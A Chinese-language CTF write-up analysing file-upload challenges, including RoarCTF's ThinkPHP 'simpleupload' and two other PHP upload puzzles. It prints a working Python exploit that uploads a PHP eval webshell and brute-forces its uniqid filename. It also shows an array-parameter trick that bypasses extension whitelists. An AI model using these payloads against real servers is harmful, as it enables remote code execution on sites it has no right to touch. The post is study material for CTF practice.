Raye's Journey

roarctf一道文件上传题目的分析

simpleupload

这题苏师傅做出来了,但是我对着苏师傅简陋的wp没复现出来。桑心

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

我还是需要一张文件上传的思维图

一个想帮你总结所有上传类型的靶场

上传漏洞解析脑图

题目分析

是thinkphp框架,获取到上传的文件$_FILES['file']之后,实例化一个类Upload(),问题显然是出现在这个类上的

然而我最大的问题是,找不到上传的接口!!!

这就涉及到thinkphp的路由是怎么搞得,thinkphp是单入口的框架,入口点在public/index.php,之后是按照模块控制器方法来进行路由的。

但是这里的命名空间Home\Controller,并不是以往熟悉的app\index\Controller

所以这里应该是一个单一模块的,也就是说上传接口在http://index.php/Home/index/upload(这里就不是很明白了,明明这个Controller是叫IndexController

这题虽然是限制了不能以.php结尾,但是仔细查看才知道只是限制了$_FILES['file'],这个file只是在表单中设置的一个变量。

查看thinkphp的源码可以看到。这个upload方法直接就能上传所有的文件了

这样我们的利用思路就有了:

上传一个file的文件能够获得文件名,同时上传一个file1的文件,这个文件也会被上传但是我们不知道它的文件名

这时候爆破就好了

thinkphp3默认使用uniqid()函数根据时间生成文件名,两个文件上传时间相近可以爆破。

对这里还需要知道thinkphp的版本

img

exp

import requests

url = "http://cf063512-b68d-41ff-a3c1-405b73e0d84f.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("a.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
print t1
print r.content
t1 = int(t1, 16)
print t1

j = t1
while True:
    path = url + "/Public/Uploads/2019-10-20/%s.php" % hex(j)[2:-1]
    try:
        r = requests.get(path, timeout=1)
    except:
        continue
    if r.status_code != 404:
        print path
        print r.text
        break
    print j, hex(j)[2:-1], r.status_code
    j -= 1

总结

这题确实学到了很多东西,对于文件上传还不是很熟悉,那个$_FILES数组,还有前后端是怎么交互的弄清楚了就好做了

文件上传类型简要分析

h4lo师傅写的文章感觉总结的很到位

分析文件上传时候的数据包

Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="text"

title

------WebKitFormBoundaryrGKCBY7qhFd3TrwA

Content-Disposition: form-data; name="file"; filename="chrome.png"

Content-Type: image/png

PNG ... content of chrome.png ...

------WebKitFormBoundaryrGKCBY7qhFd3TrwA--

boundary是一个字符串,用来切分数据。每个字段之间使用 ———WebKitFormBoundaryxxx 隔开

这里就和 post 请求一样,可以自己增加参数,就形如下面这样,将参数名放到 name 里,参数值放到下面:

------WebKitFormBoundary1PkqXeou9aUAIMHr
Content-Disposition: form-data; name="filename"

1.php

那么这里就增加了一个参数 filename = ‘1.php’

前后端的交互就是通过这个name进行的,也就是说后端会用$_FILES[filename]这个数组,注意$_FILES是一个二维数组,去获取这个文件的文件名,大小之类的信息。

这里有两个文件名,一个是上传的name,另一个是$_FIlES[filename]

简单地绕过

前端js这个不用说

也有通过MIME来校验的,

wafupload

简要分析一下这道题,前端可以通过表单上传文件,同时你可以自定义文件名(不过有啥用呢?)

因为后端会同时去判断你有没有自定义文件名

$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];

白名单检测只能是'image/jpeg', 'image/png', 'image/gif',文件后缀也只能是'jpg', 'png', 'gif'

<?php
#$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
$sandbox = '';

#@mkdir($sandbox);
#@chdir($sandbox);

if (!empty($_FILES['file'])) {
    #mime check
    if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
        die('This type is not allowed!');
    }else{
        echo "pass 1n";
    }

    #check filename
    $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    $ext = end($file);
    if (!in_array($ext, ['jpg', 'png', 'gif'])) {
        die('This file is not allowed!');
    }else{
        echo "pass 2n";
    }

    $filename = reset($file) . '.' . $file[count($file) - 1];
    if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
        echo 'Success!';
        echo 'filepath:' . $sandbox . '/' . $filename;
    } else {
        echo 'Failed!';
    }
}
show_source(__file__);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Upload Your Shell</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="text" name="filename"><br>
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

看似做的天衣无缝了,也确实考虑到了数组的情况:

if (!in_array($ext, ['jpg', 'png', 'gif'])) {
    die('This file is not allowed!');
}else{
    echo "pass 2n";
}

之后通古end函数去取出文件的后缀名

但是end函数有一个问题

end 函数取到的是给数组的最后一次赋值的那个值,继续尝试会发现 reset 函数也是一样,第一个给数组赋值的值就是 reset 函数返回的值

会根据赋值先后顺序该表值,可以去调试一下

这里的 end 函数取到了第二个给数组赋值的值,也就是 filename[0] ,reset 函数的值为 filename[1]。这边构造

filename[1] = php
filename[0] = png

在后面拼接 $filename 时候,再一次拼接到后缀名,即

$filename = reset($file) . '.' . $file[count($file) - 1];

这里的

$file[count($file) - 1]

一定是取到 filename[1],所以上面给 filename[1] 赋值为 php 的意义就在这里。

上海网安赛 web3

<?php
    error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    //$dir=md5("icq");
    //$sandbox = '/sandbox/' . $dir;
    //@mkdir($sandbox);
    //@chdir($sandbox);

    if($_FILES['file']['name']){
        $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
        if (!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        $ext = end($filename);
        var_dump($ext);
        if($ext==$filename[count($filename) - 1]){
            die("emmmm...");
        }
        var_dump($filename);
        $new_name = (string)rand(100,999).".".$ext;
        move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
        $_ = $_POST['hehe'];
        if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
            include($_);
        }
        unlink($new_name);
    }
    else{
        highlight_file(__FILE__);
    }
?>

<form action="" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file" />
    <input type="submit" name="submit" value="Submit" />
</form>

>  cd ..